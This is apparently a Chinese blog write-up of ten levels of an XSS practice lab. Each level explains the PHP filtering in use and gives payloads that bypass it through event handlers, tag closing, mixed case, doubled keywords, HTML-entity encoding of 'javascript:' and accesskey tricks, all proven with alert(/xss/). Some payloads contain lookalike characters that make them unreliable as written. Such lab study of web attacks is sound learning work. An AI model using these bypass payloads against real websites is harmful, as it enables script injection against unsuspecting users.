xss源代码练习(一)

Xss练习代码

1.

<script>alert(/xss/)</script>

 

 

 

2.

有两个地方输出,第一个是php中的恶臭,做了过滤,第二个是input标签中没有过滤,于是在input标签中插入payload

(1)还在input里面,添加事件

移动下鼠标即可触发payload为:    " οnmοuseοver="alert(/xss/)

点击输入框即可触发payload为:    " οnclick="alert(/xss/)

点击输入框即可触发payload为:    " οnfοcus="alert(/xss/)

(2)将input标签闭合

用<img>标签payload为: "><img src=! οnerrοr="alert(/xss/)">

用<img>标签payload为:"><img src="javascript:alert(/xss/)"> //浏览器可能会过滤这个

用<a>标签payload为: "><a href="javascript:alert(/xss/)">xss</a>

用<a>标签payload为:<a href="" οnmοuseοver="alert(/xss/)">xss</a> // 移动鼠标至框内

 

 

 

3.

两个地方都做了过滤,htmlspecialchars就是把预定义的字符转换为 HTML 实体。

双引号和尖括号都没有用了,但是单引号在这个函数中没有特殊的改动,并且源码中的value也是用的单引号,所以

' οnmοuseοver='alert(/xss/)   //第一个单引号闭合前面value后面的引号,第二个单引号闭合value后面的第二个单引号

 

 

 

4.

 

可以看到第一处还是转义,第二处做了一些处理,方框里的处理,str_replace函数是替换,用法是 str_replace(find,replace,string,count) 第一个参数是被替换的,第二个参数是要替换成什么,第三个参数是被使用的字符串,前三个参数是必须的,第四个参数是可选的,对替换数进行计数的变量。这里就是将尖括号换成空。所以不能闭合标签就还在标签里触发xss

所以   " οnfοcus="alert(/xss/)  //鼠标点击输入框出发,这里value是双引号所以payload也是双引号,

 

 

5.

还是有两个点,第一个点进行了转义,第二个点进行了方框里的处理,strtolower函数会把所有的字母都换成小写,然后再把 <scrip 替换成 <scr_ip ,on替换成o_n  。由于把字符都换成了小写,所以不能用大写来绕过,只能跳出input标签,并且有on和<script的不能用,但是script可以用,因为替换的规则里面包含了尖括号

"><a href="javascript:alert(/xss/)">xss</a> 

 

 

6.

过滤的敏感词更多了,但是没有了strtolower函数了,所以可以用大小写还是有两种思路,在input标签里面,跳出input

(1)在input里面

" Onclick=alert(1)><x="  //还有很多

(2)跳出input

"><sCript>alert(/xss/)</sCript><x="  //还有很多

 

 

7.

过滤了大写,将关键字符替换成空格。我们可以利用这个空格,比如说我们需要on,但是会被过滤成空格,于是用oonn,中间的两个字母就是on变成了空格,于是最终就是on。格外注意这里的src和script是过滤了两个。

还是两种思路

(1)在input里面

" oonnclick=alert(1)><x="  //还有很多

(2)跳出input

"><scscriptript>alert(/xss/)</scscriptript><x="  //还有很多

 

 

8.

先是把字符都转换成小写,然后将关键词进行替换,包括双引号,最后还用htmlspecialchars进行转义,但是看到下面是一个添加友情链接。在input框中输入字符提交之后,在友情链接处会载入一个拼接后的a标签,因为javascript被过滤对其进行编码绕过再点击友情链接即可。   javascrip&#116;:alert(/xss/)    // t的ascii值为116,用&#116表示,因为在href中的是对字符串进行替换之后的,所以需要改动

 

在网页中&#开头的是HTML实体。&#+ASCII+;

javascrip&#116;:alert(/xss/)

 

 

9.

 

 

strpos(string,find,start) ,第一个参数string是必须的,规定了要搜索的字符串,第二个参数find是必须的,规定了要查找的字符串,第三个参数start是可选的,规定在何处开始搜索。

这个地方就是对str7进行搜索,要找字符串 http://  ,所以if语句就是如果str7中没有要找的字符串,就执行if语句,如果找到了就会返回效应的位置比如2,就不会等于false,就可以绕过。

javascrip&#116;:alert(/xss/)//http://   

 

10.

 

插入点在一个有hidden 属性的input 标签,但是这里由于该input 未在页面中显示,常用的onclick 方法无法使用(点不到这个标签怎么触发onclick…),不过在浏览器中还有一个好玩的属性叫accesskey。accesskey 属性规定激活(使元素获得焦点)元素的快捷键,以下元素支持 accesskey 属性:<a>, <area>, <button>, <input>, <label>, <legend> 以及 <textarea>。

Alt + accessKey (或者 Shift + Alt + accessKey) 来访问带有指定快捷键的元素。

&t_sort=xss" οnclick=alert(/xss/) accesskey="x   //在firefox浏览器中快捷键是alt+shift+x

&t_sort=xss" οnclick=alert(/xss/) type="text"    //直接把type改成可以显示的

&t_sort=xss" οnmοuseοver=alert(/xss/) type="text"   //换了一个事件

 

评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值